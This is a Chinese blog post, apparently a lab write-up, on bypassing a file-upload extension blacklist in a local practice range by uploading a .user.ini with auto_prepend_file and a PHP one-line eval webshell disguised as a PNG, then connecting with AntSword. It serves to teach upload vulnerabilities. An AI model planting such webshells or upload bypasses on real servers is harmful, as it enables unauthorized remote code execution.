手拿乾坤圈,脚踩缝纫机——文件上传漏洞篇(六)

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。——鲁迅

前言:这一关很鸡肋,了解即可,别太较真。

吐槽一下:文件上传靶场真是实验三分钟,排版半小时,真恶心。

知识补给库

apache配置文件

httpd.conf文件

  • 作用:规定Apache的默认设置
  • 作用域:整个服务器
  • 优先级:低
  • 生效方式:管理员权限且需重启Apache服务

.htaccess文件(不是必须存在)

  • 作用域:网站根目录及其子目录
  • 优先级:高,可覆盖Apache主配置文件httpd.conf
  • 生效方式:用户可使用且修改后立即生效,无需重启Apache服务

php配置文件

php.ini文件

  • 作用:存储整个PHP的配置选项,通常位于PHP的安装目录中
  • 作用域:运行在当前PHP环境中的所有PHP请求
  • 优先级:低
  • 生效方式:重启WEB服务

在这里插入图片描述

.user.ini文件(不是必须存在)

  • 作用:针对特定用户或特定目录的配置文件,通常位于Web应用的根目录下。覆盖或追加全局配置文件php.iniPHP的配置选项
  • 作用域:存放该文件的目录及其子目录
  • 优先级:高,可以覆盖PHP的主配置文件php.ini
  • 生效方式:无需重启WEB服务,立即生效

加载顺序

WEB服务首先会加载php.inihttpd.conf中的配置信息。如果WEB服务的某个目录下存在.usr.ini.htaccess文件,则会使用.user.ini.htaccess两个文件中的配置信息覆盖或追加php.inihttpd.conf中的配置信息。

PHP配置与配置文件生效问题

查看php配置

phpStudy其他选项菜单中选择查看phpinfo(第二项)
在这里插入图片描述

.user.ini生效前提

  • PHP版本大于5.3.0且为nts版本,最好为7.x版本
    • 5.x nts版本会产生中文乱码;7.x nts版本不会产生中文乱码
  • Server APICGIFastCGI

PHP nts版本信息

  • Server API的版本不是CGI/FastCGI,此版本的PHP无法使.user.ini文件生效

在这里插入图片描述

PHP nts版本信息

  • Server API的版本为CGI/FastCGI

在这里插入图片描述

利用.user.ini实现文件上传漏洞前提

  • .user.ini可以生效
  • web服务存储上传文件的位置必须存在php文件

PS:如果不满足这两个条件,则无法利用此方法。此方法局限性很大。

php.ini中配置.user.ini

打开靶场所使用的PHP版本的安装目录
在这里插入图片描述

php。ini.user.ini的配置信息全部被注释,本节不需要改动。

  • 这里只是介绍如何配置.user.ini,方便大家以后使用

在这里插入图片描述

靶场实战

代码审计

在这里插入图片描述

变量$deny_ext是一个黑名单,具体内如如下:

array(
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
".swf",".htaccess"
);

通过上面的代码可以看到,第五关过滤了很多的文件类型,甚至包括.htaccess文件。但是没有过滤上面说到的.user.ini文件
下面六行代码是对上传文件的文件名和文件类型进行处理,前面已经写过,不再过多赘述。

漏洞利用

是否满足漏洞利用条件

.user.ini实现文件上传漏洞的前提是:保存上传文件的目录中必须存在php文件

  • 本靶场的设计者在保存上传文件的目录下预留了readme.php文件,满足漏洞利用条件

在这里插入图片描述

创建.user.ini文件

创建名为.user.ini的文件,文件内容为:auto_prepend_file = muma.png
在这里插入图片描述

这句代码的含义是:在执行一个PHP文件时,这个PHP文件会把名为muma.png的文件包含进行,先执行muma.png文件再执行PHP文件本身

创建木马文件

创建一个php文件,内容如下,创建完成后,修改后缀名为.png

<?php 
echo "这是我的木马文件";
@eval($_POST['x']); 
?>

在这里插入图片描述

上传文件

先上传.user.ini文件,再上传muma.png文件
在这里插入图片描述

在这里插入图片描述

查看木马文件保存位置

右键选择新建标签页打开图像
在这里插入图片描述

图片的网址为:http://127.0.0.1/upload/upload/muma.png,将muma.png改为readme.php,运行readme.php文件

  • 由于.user.ini的设置,因此执行readme.php之前先执行muma.png

在这里插入图片描述

蚁剑连接

使用蚁剑连接木马文件
在这里插入图片描述

补充

使用5.x nts版本的PHP会产生中文乱码
在这里插入图片描述

小结

漏洞利用条件:需要.user.ini生效且上传文件的保存目录中存在一个php文件
漏洞利用顺序:先上传.user.ini文件修改PHP的配置,然后上传木马文件
PS:这种利用方式很鸡肋,受限很大,了解即可。

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值